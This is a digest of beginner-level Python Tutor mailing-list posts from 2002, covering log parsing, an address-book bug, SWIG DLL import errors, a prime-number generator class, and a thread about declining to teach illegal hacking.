From kalle@gnupung.net  Fri Feb  1 00:13:07 2002
From: kalle@gnupung.net (Kalle Svensson)
Date: Fri, 1 Feb 2002 01:13:07 +0100
Subject: [Tutor] read file and match string
In-Reply-To: <00f101c1aab0$c066e7a0$8cd91282@echo6>
References: <009201c1aa8b$1d48f060$8cd91282@echo6> <20020131225940.GA28719@sandra.lysator.liu.se> <00f101c1aab0$c066e7a0$8cd91282@echo6>
Message-ID: <20020201001307.GB28719@sandra.lysator.liu.se>

[Jim Ragsdale]
> Ok, im searching a log file from an Unreal Tournament server. it generates
> some output, but im really intested in 1 line:
> ScriptLog: [PLAYER_JOIN] {RS}]V{AD_l)OG_3 ip.address.omitted:1040 2600
> 
> Each line will have ScriptLog: [PLAYER_JOIN] a name and ip:port and another
> number. The other lines are just different server events and other things of
> interest. i just want the ip address.

I see.  That's a very nice project to get started with a language.  To
me, the format suggests the use of string methods.  I suppose there
are no other lines that contain "[PLAYER_JOIN]"?  And there is always
the same number of spaces on each interesting line?  In that cas, you
could try using something like:

in = open("file.in")
out = open("file.out", "w")
for line in in.xreadlines():
    if line.find("[PLAYER_JOIN]"):
        ip_and_port = line.split()[3]
        out.write(ip_and_port + "\n")

With the example line above, this would write
ip.address.omitted:1040
to the output file.  You can easily get rid of the port number by
doing
ip = ip_and_port.split(":")[0]
or, if the port number is always four digits
ip = ip_and_port[:-5]

I don't know if this will be any faster, but I guess it doesn't matter
that much.  0.4 seconds is probably fast enough?

> I did the regular expression because that is what i found on the net. Messed
> w/ it until i got it to match :)  And I just upgraded to Python2.2.  Using
> xreadline on a 1.56meg file on my 400celeron laptop takes about .4 sec.( Ran
> start = time.clock() before and finish = time.clock() after and took the
> difference) Also used the localtime function to write a date/time stamp in
> the logfile name(iplog.1.31.2002.5.35.log).
>
> Right now im trying to clean it up, use functions and stuff. do it right :)
> I would like to add some functionality as i go along. Say maybe determine if
> the log file has been reset and if it hasnt, start from where it left off
> last time. If it has been restarted, start fresh and maybe start a new
> output file.

Sounds very nice!  When you get it ready, I suggest you submit it to
"Useless Python", a web site collecting python code snippets, tips and
challenges managed by a fellow tutor list member.  And it's not all
useless... :)  The address is http://www.lowerstandard.com/python/ .

Peace,
  Kalle
-- 
Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two!
English: http://www.gnupung.net/  Svenska: http://www.lysator.liu.se/~kalle/
Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()]


From overlord@netdoor.com  Fri Feb  1 00:56:32 2002
From: overlord@netdoor.com (Jim Ragsdale)
Date: Thu, 31 Jan 2002 18:56:32 -0600
Subject: [Tutor] read file and match string
Message-ID: <010f01c1aabb$4aafb540$8cd91282@echo6>

[Kalle Svensson]
I will probably stick with what i have for now. it works. maybe i can get
about a 10meg file if nothing crashes and run some time trials on that.

That line is the only one w/ "[PLAYER_JOIN]" in it. and it is always
formatted the same. although names will be different lengths. Im just
writing out the whole line to the output file. If someone emails me about a
cheater and gives a name, i use find in notepad to search the iplogs and
then i can ban him from the server. Although in the name of space i will
probably go in and strip the first part of the line off.

I guess the ultimate setup would be to check the log from the server and
write the names and ip's to a database. If the name and ip address matched a
record in the database it would skip it. then i would not get duplicates.
everytime the game restarts players join again and i get duplicates. plus
there are many players that play there regularly. I could even add a counter
to see how many times each player is logged.

If i ever finish it or get it nice enough ill post!



From pythonhack@yahoo.com  Fri Feb  1 00:52:01 2002
From: pythonhack@yahoo.com (pythonhack@yahoo.com)
Date: Thu, 31 Jan 2002 16:52:01 -0800
Subject: [Tutor] index list out of range
Message-ID: <19887498466.20020131165201@yahoo.com>

hey guys-

i'm writing a small address book program, and i think there's a
problem with the way the lists are structured and manipulated.  i'm
getting a "list index out of range" error when i try to exit the
program (using the closeApp function).

help!

here's the code...

#!/usr/bin/env python

import sys, string, os
from time import sleep

newmaster = []
master = []
yeslist = ['y', 'Y', 'YES', 'yes']
nolist = ['n', 'N', 'NO', 'no']

##################################
## FUNCTIONS
##################################

#this function runs at the beginning of the script
#reads entire master address book into memory

def startApp():
    print "Loading address book..."
    sleep(3)
    print " "
    result = open('address.book', 'r')
    for line in result.readlines():
        master.append(line.split())
    print "Address book loaded successfully."
    print " "
    return result
    
# print function returns formatted output

def printEntry(entry):
    print entry[0], entry[1]
    print entry[2]
    print entry[3]
    print entry[4]
    if len(entry[5]) > 0:
        print entry[5]
    else:
        print "<no comment>"
    mainMenu()

#the main menu

def mainMenu():
    quit = 1
    while quit == 1:
        print "What would you like to do? - Please select  "
        print "1. Add an entry"
        print "2. Display an entry"
        print "3. Delete an entry"
        print "4. Edit an entry"
        print "5. Exit the program"
        x = int(raw_input())
        if x == 1:
            addEntry()
        elif x == 2:
            findEntry()
        elif x == 3:
            deleteEntry()
        elif x == 4:
            editEntry()
        elif x == 5:
            closeApp()
        else:
            print "Invalid Selection."
            print " "
            quit == 1
            
            
#adds an entry to the address book

def addEntry():
    newentry = []
    print " "
    print "You have chosen to add an entry to the address book."
    print " "
    lastname = raw_input("Last Name: ")
    firstname = raw_input("First Name: ")
    address1 = raw_input("Street Name and Number: ")
    address2 = raw_input("City, State, Zip: ")
    phone = raw_input("Phone Number: ")
    comments = raw_input("Comments (if none, juts hit enter): ")
    print " "
    print "This is what you entered: "
    print " "
    print lastname,',', firstname
    print address1
    print address2
    print phone
    if len(comments) >= 1:
        print comments
    else:
        print "<no comment>"
    print " "
    correct = raw_input("is this correct?(y/n): ")
    if correct == 'y':
        print "adding new entry..."
        newentry.append(lastname)
        newentry.append(firstname)
        newentry.append(address1)
        newentry.append(address2)
        newentry.append(phone)
        newentry.append(comments)
        master.append(newentry)
        newentry = []
        print "new entry added successfully"
        mainMenu()
    elif correct == 'n':
        print "Please re-enter information..."
        addEntry()
    else:
        print "Invalid response."
        print " "
        mainMenu()

# this searches for an entry in the address book and returns matches

def findEntry():
    quit = 1
    while quit == 1:
        print "Enter Last Name (or just hit enter to return to Main Menu): "
        name = raw_input()
        if len(name) > 0:
            for entry in master:
                if entry[0] == name:
                    printEntry(entry)
                else:
                    print "no matches"
        else:
            mainMenu()
        
#this searches for an entry to delete and prompts user for confirmation

def deleteEntry():
    print "Enter Last Name (or just hit enter to return to Main Menu): "
    name = raw_input()
    quit = 1
    if len(name) > 0:
        for entry in master:
            if entry[0] == name:
                printEntry(entry)
                while quit == 1:
                    x = raw_input("Delete? y or n: ")
                    if x in yeslist:
                        entry = []
                        print "Deleted"
                        mainMenu()
                    elif x in nolist:
                        print "entry not deleted"
                        mainMenu()
                    else:
                        print "invalid entry, try again"
                        quit == 1
            else:
                print "no matches"
                mainMenu()
    else:
        mainMenu()

# This allows an entry to be pulled from file and edited, then written (using addEntry function
# from earlier

def editEntry():
    for entry in master:
        if entry[0] == lastname:
            printEntry(entry)
            x = raw_input("Edit this entry? y or n: ")
            if x in yeslist:
                entry = []
                addEntry()
            else:
                mainMenu()
                
# This is run when the program exits, writes all entries back to text file and closes text file

def closeApp():
    print "Saving address book changes..."
    newmaster = open('address.book', 'w')
    for list in master:
        print len(list)
        newmaster.write(list[0]),
        newmaster.write(" ")
        newmaster.write(list[1]),
        newmaster.write(" ")
        newmaster.write(list[2]),
        newmaster.write(" ")
        newmaster.write(list[3]),
        newmaster.write(" ")
        newmaster.write(list[4]),
        newmaster.write(" ")
    print "closing address.book..."
    newmaster.close
    sleep(3)
    print "Goodbye..."
    sys.exit()
                
######################################
## MAIN CODE
######################################

print "Welcome to PyAddressbook!"
print " "
startApp()
mainMenu()

thanks!!

brett


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com



From shalehperry@attbi.com  Fri Feb  1 01:19:44 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Thu, 31 Jan 2002 17:19:44 -0800 (PST)
Subject: [Tutor] index list out of range
In-Reply-To: <19887498466.20020131165201@yahoo.com>
Message-ID: <XFMail.20020131171944.shalehperry@attbi.com>

On 01-Feb-2002 pythonhack@yahoo.com wrote:
> hey guys-
> 
> i'm writing a small address book program, and i think there's a
> problem with the way the lists are structured and manipulated.  i'm
> getting a "list index out of range" error when i try to exit the
> program (using the closeApp function).
> 

it almost looks like your string.split() is not always returning the number of
elements you think it is.

Of course, if you had given us the full python traceback, we would know more.


From jimmy_130@lycos.com  Fri Feb  1 01:30:51 2002
From: jimmy_130@lycos.com (James M Lang)
Date: Thu, 31 Jan 2002 20:30:51 -0500
Subject: [Tutor] Curious, just being curious
Message-ID: <OKMIHFMCNBJGNAAA@mailcity.com>

In the online tutorial it showed examples like this:
a = 3
Is it really necessary for those spaces?




From kalle@gnupung.net  Fri Feb  1 01:49:04 2002
From: kalle@gnupung.net (Kalle Svensson)
Date: Fri, 1 Feb 2002 02:49:04 +0100
Subject: [Tutor] Curious, just being curious
In-Reply-To: <OKMIHFMCNBJGNAAA@mailcity.com>
References: <OKMIHFMCNBJGNAAA@mailcity.com>
Message-ID: <20020201014904.GC28719@sandra.lysator.liu.se>

[James M Lang]
> In the online tutorial it showed examples like this:
> a = 3
> Is it really necessary for those spaces?

When in doubt, try it!  Start a python interpreter, enter
a=3
and see what happens.

And to answer your question, no.  The spaces aren't necessary there,
but IMO they make the code easier to read.

Peace,
  Kalle
-- 
Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two!
English: http://www.gnupung.net/  Svenska: http://www.lysator.liu.se/~kalle/
Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()]


From lha2@columbia.edu  Fri Feb  1 01:53:49 2002
From: lha2@columbia.edu (Lloyd Hugh Allen)
Date: Thu, 31 Jan 2002 20:53:49 -0500
Subject: [Tutor] CHORTLING OVER MY KEYBOARD
References: <3C58E8A8.859210E6@netzero.net>
Message-ID: <3C59F52D.1927E64B@mail.verizon.net>

kirk Bailey wrote:
> 
> AS I POISON VENEMOUS RATS, I HUM A LOVELY TUNE, WITH A SMILE UPON MY
> FACE, FOR A PROGRAM IS NOT OFFERED TO FEED SO MUCH BILGE TO SPAMBOTS
> HARVESTING EMAIL THAT IT SURPASSES IMAGINING.
> 
> In breif, I have now a little script which cranks out entirely
> plausible email addresses by the SCORE on demand. Actually, about 50
> at a shot. And if you were so rash as toclick on them, you would get a
> letter popup.
> 
> Every last one is randomly generated, intended to poison spambots
> harvesting email addresses.
> 
> Now some spambots do not visit pages generated by scripts, but a html
> page with a ssi looks like normal html to a browser- or a bot- and
> therefore one could run this with MINOR modifications in a ssi include
> page, and poison the spam harvesting community.
> 
> Just for giggles, here's the url. Script offered on request.
> http://www.tinylist.org/cgi-bin/poison.py

Be careful--your program generates some email addresses that have
legitimate domains (as a for instance, I got an address that has domain
abstraction.org, which exists). Postmasters at real domains might get
mad if you distribute addresses at their site, particularly if you're
lucky enough to hit a real account...a thousand monkeys, or something.


From lha2@columbia.edu  Fri Feb  1 01:59:47 2002
From: lha2@columbia.edu (Lloyd Hugh Allen)
Date: Thu, 31 Jan 2002 20:59:47 -0500
Subject: [Tutor] Curious, just being curious
References: <OKMIHFMCNBJGNAAA@mailcity.com>
Message-ID: <3C59F693.37D51CA2@mail.verizon.net>

James M Lang wrote:
> 
> In the online tutorial it showed examples like this:
> a = 3
> Is it really necessary for those spaces?
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

Nope. Some people think those spaces make code easier to read. Others
think the spaces make code less easy to read. Check out
<http://python.sourceforge.net/peps/pep-0008.html>.

Now if it were the line

   a = 3

then the spaces BEFORE the 'a' (that is, the indentation of the line)
would probably be significant--if you're new, compare the output of

for foo in range(5)
    print "whee!"
print "done, I'm out of the loop"

to that of

for foo in range(5)
    print "whee!"
    print "I'm still in the loop!"


From dsh8290@rit.edu  Fri Feb  1 02:03:50 2002
From: dsh8290@rit.edu (dman)
Date: Thu, 31 Jan 2002 21:03:50 -0500
Subject: [Tutor] Re: Setting the system time
In-Reply-To: <LPBBLJLBPKOAHOOJGJIJMEELDCAA.Daniel.Kinnaer@Advalvas.be>
References: <E16WKc5-0004O3-00@mail.python.org> <LPBBLJLBPKOAHOOJGJIJMEELDCAA.Daniel.Kinnaer@Advalvas.be>
Message-ID: <20020201020350.GA4858@dman.ddts.net>

On Thu, Jan 31, 2002 at 10:59:44PM +0100, Daniel Kinnaer wrote:
 
| Thanks for your replies.  Meanwhile, I'm only halfway
| on how to set the systemtime.  That is, I've found how
| to do this on a Windows-box (We use W2k at work).
| 
| if sys.platform == 'win32':
|    import win32api
|    win32api.SetSystemTime() #by Mark Hammond
| 
| I don't know how to go about when setting the
| systemtime in a Linux environment.  Perhaps with the
| date-command? Is this command the same for all major Linux
| releases? 

Do you want to set the system clock, the hardware clock, or both?
'date' will set the system clock (on Solaris too) and 'hwclock' will
set the hardware clock (and can sync the two clocks).
 
| I need this function in my NTP-client,

Oh!  You want to make an NTP client.  Cool.  Your app will
definitely be run with root privileges then.

I suggest looking at the code for the 'date' and 'hwclock' programs as
they'll show you the programmatic interface for setting the time
(C-level interface).  Then it should be fairly straightforward for you
to make a python extension in C that provides a "set time" function.

-D

-- 

Microsoft encrypts your Windows NT password when stored on a Windows CE
device. But if you look carefully at their encryption algorithm, they
simply XOR the password with "susageP", Pegasus spelled backwards.
Pegasus is the code name of Windows CE. This is so pathetic it's
staggering.

http://www.cegadgets.com/artsusageP.htm



From m_konermann@gmx.de  Fri Feb  1 03:22:28 2002
From: m_konermann@gmx.de (Keule)
Date: Fri, 01 Feb 2002 04:22:28 +0100
Subject: [Tutor] Problems using a .dll file under windows
Message-ID: <3C5A09F4.1010306@gmx.de>

--------------010006080804040709040704
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

Hi @ All !

I generated a simannealfilec.dll with SWIG and also a python shadow 
class named simannealfile.py. After running the python shadow class 
simannealfile.py the following Error appers :

PythonWin 2.1.1 (#20, Jul 20 2001, 01:19:29) [MSC 32 bit (Intel)] on win32.
Portions Copyright 1994-2001 Mark Hammond ( MarkH@ActiveState.com ) - 
see 'Help/About PythonWin' for further copyright information.
 >>> Traceback (most recent call last):
  File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 
394, in ImportFile
    exec codeObj in __main__.__dict__
  File "<auto import>", line 1, in ?
  File "C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py" 
, line 2, in ?
    import simannealfilec
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
Traceback (most recent call last):
  File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 
301, in RunScript
    exec codeObject in __main__.__dict__
  File "C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py" 
, line 2, in ?
    import simannealfilec
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
 >>>

The File simannealfile.py looks in the beginning like that :

# This file was created automatically by SWIG.
import simannealfilec
class simanneal_varlist:
    def __init__(self,*args):
        self.this = apply(simannealfilec.new_simanneal_varlist,args)
        self.thisown = 1

    def __del__(self,simannealfilec=simannealfilec):
        if getattr(self,'thisown',0):
            simannealfilec.delete_simanneal_varlist(self)
    def cleany(*args):
        val = apply(simannealfilec.simanneal_varlist_cleany,args)
        return val

I absolutly did´nt know what´s going wrong.
Have anyone got an idea ?

Thanks for your  help
Marcus

--------------010006080804040709040704
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html>
<head>
</head>
<body>
Hi @ All !<br>
<br>
I generated a simannealfilec.dll with SWIG and also a python shadow class
named simannealfile.py. After running the python shadow class simannealfile.py
the following Error appers :<br>
<br>
<i>PythonWin 2.1.1 (#20, Jul 20 2001, 01:19:29) [MSC 32 bit (Intel)] on win32.<br>
 Portions Copyright 1994-2001 Mark Hammond (<a class="moz-txt-link-abbreviated" href="mailto:MarkH@ActiveState.com">
MarkH@ActiveState.com</a>
) - see 'Help/About PythonWin' for further copyright information.<br>
 &gt;&gt;&gt; Traceback (most recent call last):<br>
 &nbsp; File <a class="moz-txt-link-rfc2396E" href="C:%5CPython21%5CPythonwin%5Cpywin%5Cframework%5Cscriptutils.py">
"C:\Python21\Pythonwin\pywin\framework\scriptutils.py"</a>
, line 394, in ImportFile<br>
 &nbsp;&nbsp;&nbsp; exec codeObj in __main__.__dict__<br>
 &nbsp; File "&lt;auto import&gt;", line 1, in ?<br>
 &nbsp; File <a class="moz-txt-link-rfc2396E" href="C:%5CArbeit_Diplomarbeit%5C__Optimierer%5CAG_TEMdll%5Csimannealfile.py">
"C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py"</a>
, line 2, in ?<br>
 &nbsp;&nbsp;&nbsp; import simannealfilec<br>
 ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.<br>
 Traceback (most recent call last):<br>
 &nbsp; File <a class="moz-txt-link-rfc2396E" href="C:%5CPython21%5CPythonwin%5Cpywin%5Cframework%5Cscriptutils.py">
"C:\Python21\Pythonwin\pywin\framework\scriptutils.py"</a>
, line 301, in RunScript<br>
 &nbsp;&nbsp;&nbsp; exec codeObject in __main__.__dict__<br>
 &nbsp; File <a class="moz-txt-link-rfc2396E" href="C:%5CArbeit_Diplomarbeit%5C__Optimierer%5CAG_TEMdll%5Csimannealfile.py">
"C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py"</a>
, line 2, in ?<br>
 &nbsp;&nbsp;&nbsp; import simannealfilec<br>
 ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.<br>
 &gt;&gt;&gt; <br>
<br>
</i>The File simannealfile.py looks in the beginning like that :<br>
<i><br>
 # This file was created automatically by SWIG.<br>
 import simannealfilec<br>
 class simanneal_varlist:<br>
 &nbsp;&nbsp;&nbsp; def __init__(self,*args):<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.this = apply(simannealfilec.new_simanneal_varlist,args)<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.thisown = 1<br>
<br>
 &nbsp;&nbsp;&nbsp; def __del__(self,simannealfilec=simannealfilec):<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if getattr(self,'thisown',0):<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; simannealfilec.delete_simanneal_varlist(self)<br>
 &nbsp;&nbsp;&nbsp; def cleany(*args):<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; val = apply(simannealfilec.simanneal_varlist_cleany,args)<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return val</i><br>
<br>
 I absolutly did&acute;nt know what&acute;s going wrong.<br>
 Have anyone got an idea ?<br>
<br>
 Thanks for your&nbsp; help<br>
 Marcus
</body>
</html>

--------------010006080804040709040704--



From urnerk@qwest.net  Fri Feb  1 03:36:39 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Thu, 31 Jan 2002 19:36:39 -0800
Subject: [Tutor] More primes play
In-Reply-To: <3C59B912.6060300@venix.com>
References: <20020131211525.40906.qmail@web14101.mail.yahoo.com>
Message-ID: <4.2.0.58.20020131193011.00d23f10@pop3.norton.antivirus>

Continuing a thread of playing with prime number listings,
I'm appending a class definition I wrote awhile ago that
creates objects you can slice from, as show below, and
also iterate over, as also shown:

   >>> from play import Primes
   >>> myprimes = Primes()
   >>> myprimes[0:10]
   [2, 3, 5, 7, 11, 13, 17, 19, 23, 29]
   >>> myprimes[100]
   547
   >>> myprimes[3]
   7
   >>> for i in myprimes:
  	  print i
	  if i > 2000:  break

It's kind of like getting an object inside of which all
the primes already exist -- which is of course not true.
Through lazy evaluation (or "just in time" supply), it
internally iterates forward, appending new primes to its
internal list, in hopes of satisfying a user request.
But as we all know, trial-by-division (the algorithm
used here) wimps out when the going gets tough.  So
this is mainly for playing with low primes (interpret
as you will what "low" means).

What's efficient about doing this as a class is that
the primes list doesn't go away between uses of the
instances, i.e. if you've computed up to the 100th prime,
and ask for the 200th, it's not going to start over from
scratch -- it'll just keep appending.  Likewise, if you
ask for the 10th prime, but have already computed out to
the 100th, well, then there's no further computation
needed at all.

The whole iterator/generator business is best explored
in 2.2 and above, so yes, this is for you folks who are
at liberty to play with the latest snake:

class Primes:
     """
     Represents open-ended, sequential list of prime numbers
     starting with 2.  Uses trial-by-division generator to append
     to list.  Maintains current pointer, allows random access
     and list slicing syntax (but not from "end of list").
     Given simple trial-by-division, this class is suitable for
     exploring low primes only.
     """
     pr = [2]  # class level list of primes

     def __init__(self):
         self.gen = self.__generator()
         self.current = -1
         self.max = 0

     def __iter__(self):
         """
         this object implements iteration
         """
         return self

     def next(self):
         """
         invoke gen (internal lazy evaluator) only if needed
         """
         self.current += 1
         self.max = max(self.max,self.current)
         if self.current > len(Primes.pr)-1:
             return self.gen.next()
         else:
             return Primes.pr[self.current]

     def previous(self):
         """
         move pointer back one position
         """
         self.current -= 1
         if self.current < 0:
             self.current = 0
         return self.pr[self.current]

     def first(self):
         """
         return to 0th position
         """
         self.current = 0
         return Primes.pr[self.current]

     def last(self):
         """
         jump to highest position ever pointed to
         by this object
         """
         self.current = self.max
         return Primes.pr[self.current]

     def skip(self,n):
         """
         skip n primes (n may be negative, to skip
         backward)
         """
         # pointer must be >= 0
         return self.__getitem__(max(0,self.current + n))

     def __getitem__(self,n):
         """
         implements syntax object[n] for nth prime
         """
         if n<0:  raise ValueError,"Out of range"
         if n > len(Primes.pr)-1:
             self.current = self.max
             while n > self.current:
                 self.next()
         else:
             self.current = n
             self.max = max(self.max,self.current)
         return Primes.pr[self.current]

     def __getslice__(self,a,b):
         rlist = []
         if b==2147483647 or a<0 or b<0:
             raise ValueError("Unbounded above")
         for i in range(a,b):
             rlist.append(self.__getitem__(i))
         return rlist

     def __generator(self):
         """
         Iterator for lazy evaluation.
         Yield next higher prime, accruing successive primes
         in class variable pr (shared by all Prime objects)

         Uses trial-by-division, long integers if necessary
         """
         i = Primes.pr[-1]
         if i==2:
             i -= 1
         new = 0
         while 1:
            try:
                i += 2
            except OverflowError:
                i += 2L
            if new:
                yield Primes.pr[-1]
                new = 0
            for t in Primes.pr:
                if t*t > i:
                    # if t**2>candidate, we have a new prime
                    Primes.pr.append(i)
                    new = 1
                    break
                if i%t == 0:
                    # test divide by primes so far,
                    # move to next odd whenever remainder=0
                    break

Kirby



From urnerk@qwest.net  Fri Feb  1 03:45:01 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Thu, 31 Jan 2002 19:45:01 -0800
Subject: [Tutor] List of Objects?
In-Reply-To: <XFMail.20020131143702.shalehperry@attbi.com>
References: <NEBBJNMDEKBIBCMCNMBDIEPBCPAA.karthikg@aztec.soft.net>
Message-ID: <4.2.0.58.20020131193832.00c6d920@pop3.norton.antivirus>

>
> > params = [ [name1,desc1,exits1],[name2,desc2,exits2],[name3,desc3,exits3]]
> >
> > listofRooms = map(lambda params:apply(Rooms,params),params)
> >
> > is this ok?
> >
>
>For an obfuscated python contest, sure.  For newbie help I would say no.

However, re-expressed with a for-loop, it's not so
dense, and just as good:

params = [ ("great hall","where trolls live",3),
            ("dungeon","not a fun place",0),
            ("tower room","where she sleeps",1)]

listofRooms = []

for p in params:  listofRooms.append(apply(Rooms,p))


>listofRooms = map(lambda params:apply(Rooms,params),params)

And since we've been discussing it:

listofRooms = [apply(Rooms,p) for p in params]

also works.

Kirby




From idiot1@netzero.net  Fri Feb  1 05:51:34 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Fri, 01 Feb 2002 00:51:34 -0500
Subject: [Tutor] TinyList 1.1.2 released
Message-ID: <3C5A2CE6.7E667C74@netzero.net>

TL1.1.2 is online for downloading in gz tarball or ZIP FILE formats.
Corrected a few typos, modified teh layour to be compatible with
nrrower pages on email messages, assorted minor cosmetic touchups.

-- 
 

 -Respectfully,
              -Kirk D Bailey 
               Consulting Loose Cannon

end



  www.howlermonkey.net                 highprimate@howlermonkey.net
  www.sacredelectron.org                         idiot1@netzero.net
  www.tinylist.org                              grumpy@tinylist.org
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From ak@silmarill.org  Fri Feb  1 00:45:44 2002
From: ak@silmarill.org (Andrei Kulakov)
Date: Thu, 31 Jan 2002 19:45:44 -0500
Subject: [Tutor] Please read this and respond to me.
In-Reply-To: <2F35490C-1535-11D6-BCB1-00039351FE6A@mac.com>
References: <20020129111402.GA11620@silmarill.org> <2F35490C-1535-11D6-BCB1-00039351FE6A@mac.com>
Message-ID: <20020201004544.GA29001@ak.silmarill.org>

On Tue, Jan 29, 2002 at 10:55:22PM -0500, Erik Price wrote:
> 
> On Tuesday, January 29, 2002, at 06:14  AM, Andrei Kulakov wrote:
> 
> >No, in the contest of his post. If he meant hacking as programming, he'd
> >say "programming".
> 
> Unless he was referred to Python from ESR:
> http://www.tuxedo.org/~esr/faqs/hacker-howto.html
> 
> It specifically recommends that newbies start w/Python, and uses 
> "hacking" as synonymous for "programming" throughout.

I guess it's possible.. but even there, it either means a man displaying
an optimistic, adventurous attitude toward problem-solving or an expert
programmer; the former meaning is too general for his post and the
latter doesn't make sense, so I had to conclude he meant cracker/hacker,
unless he's not very comfortable with english, but then I immediately
mentioned that hacking is illegal - that'd clue him in on which of the
two meanings I was talking about.

If I were a bit harsh, I'm sorry, though. The thing is, it's not only
about that guy, everybody else who reads questions and responses gets
some feeling for what is allowed and what isn't. If anyone read my
response and thought "oh, I better not expose my weaknesses on *that*
list", accept my apologies and note that even though I was pretty sure
he was both off topic and asking assistance in breaking the law, I
didn't scream at him and even helped the best I could. :P So, don't be
shy.

 - Andrei

> 
> 
> Erik
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 

-- 
Cymbaline: intelligent learning mp3 player - python, linux, console.
get it at: cy.silmarill.org


From ak@silmarill.org  Fri Feb  1 01:14:10 2002
From: ak@silmarill.org (Andrei Kulakov)
Date: Thu, 31 Jan 2002 20:14:10 -0500
Subject: [Tutor] Please read this and respond to me.
In-Reply-To: <20020130094412.GA10351@sandra.lysator.liu.se>
References: <16e.7ca3139.2984f009@aol.com> <20020128134627.GA5832@silmarill.org> <20020128184656.GA25891@sandra.lysator.liu.se> <20020129111402.GA11620@silmarill.org> <20020130094412.GA10351@sandra.lysator.liu.se>
Message-ID: <20020201011410.GB29001@ak.silmarill.org>

On Wed, Jan 30, 2002 at 10:44:12AM +0100, Kalle Svensson wrote:
> [Andrei Kulakov]
> > On Mon, Jan 28, 2002 at 07:46:56PM +0100, Kalle Svensson wrote:
> > > [Andrei Kulakov]
> > > > On Sun, Jan 27, 2002 at 12:54:17AM -0500, Kyuuketsiuki@aol.com wrote:
> > > > > I'm looking for a tutor (Teacher) on hacking [...]
> > > > 
> > > > I don't think anyone is gonna do that, for two reasons:
> > > > 
> > > > 1. Hacking (in this context) is illegal and the person who tried to
> > > 
> > > In what context?  The context of this list?
> > 
> > No, in the contest of his post. If he meant hacking as programming, he'd
> > say "programming".
> 
> Well, it seems plausible, but I'd like more evidence.  Especially if
> I'm going to proceed by comparing the poster with various animals
> doing tricks, and saying that helping him/her would be a waste of
> time.

By the time he read that, he'd also have read the first item where I say
it's illegal - so even if he meant it as "programming" (I really doubt
that), he'd realize I misunderstood him.

And it's more than plausible.

 - Andrei

> 
> Peace,
>   Kalle
> -- 
> Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two!
> English: http://www.gnupung.net/  Svenska: http://www.lysator.liu.se/~kalle/
> Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()]
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 

-- 
Cymbaline: intelligent learning mp3 player - python, linux, console.
get it at: cy.silmarill.org


From dyoo@hkn.eecs.berkeley.edu  Fri Feb  1 06:46:41 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 31 Jan 2002 22:46:41 -0800 (PST)
Subject: [Tutor] Problems using a .dll file under windows
In-Reply-To: <3C5A09F4.1010306@gmx.de>
Message-ID: <Pine.LNX.4.21.0201312232480.23038-100000@hkn.eecs.berkeley.edu>

On Fri, 1 Feb 2002, Keule wrote:

> I generated a simannealfilec.dll with SWIG and also a python shadow 
> class named simannealfile.py.

Cool; I'm also playing with SWIG at the moment.  Wrapping C code with SWIG
is somewhat of an advanced topic; you may be able to get better help by
talking with the SWIG folks at:

    http://www.swig.org/mail.html

You may want to ask your question on the SWIG mailing list as well, since
they may have run into this issue already.


>  >>> Traceback (most recent call last):
>   File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 
> 394, in ImportFile
>     exec codeObj in __main__.__dict__
>   File "<auto import>", line 1, in ?
>   File "C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py" 
> , line 2, in ?
>     import simannealfilec
> ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.

... hmmm... Give me a moment while I bring up Babelfish... Ah!  Here's the
translation of "Das angegebene Modul wurde nicht gefunden": "The indicated
module was not found".  (Wow, Babelfish is impressive!)


My best guess so far at the problem is that the directory:

    "C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py"

isn't in the 'sys.path' list that Python uses to search for modules.  To
test this hypothesis, can youtry doing this right before importing the
'simannealfilec' module:

###
import sys
sys.path.append("C:/Arbeit_Diplomarbeit/__Optimierer/AG_TEMdll/")
###

?  If this helps, then it's a PYTHONPATH issue.


